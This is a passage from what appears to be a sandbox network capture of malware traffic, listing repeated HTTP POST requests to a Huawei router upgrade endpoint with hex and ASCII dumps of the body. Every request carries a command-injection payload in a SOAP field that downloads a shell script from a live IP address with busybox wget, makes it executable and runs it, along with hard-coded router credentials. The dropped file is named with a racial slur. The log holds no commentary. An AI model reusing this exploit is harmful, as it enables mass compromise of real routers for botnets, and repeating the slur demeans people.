6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	43332	156.254.65.104	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.942267895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.497031927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.352935076 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.096474886 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:04.519311905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365238905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	50054	156.254.107.135	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.945745945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.561013937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.448771954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: 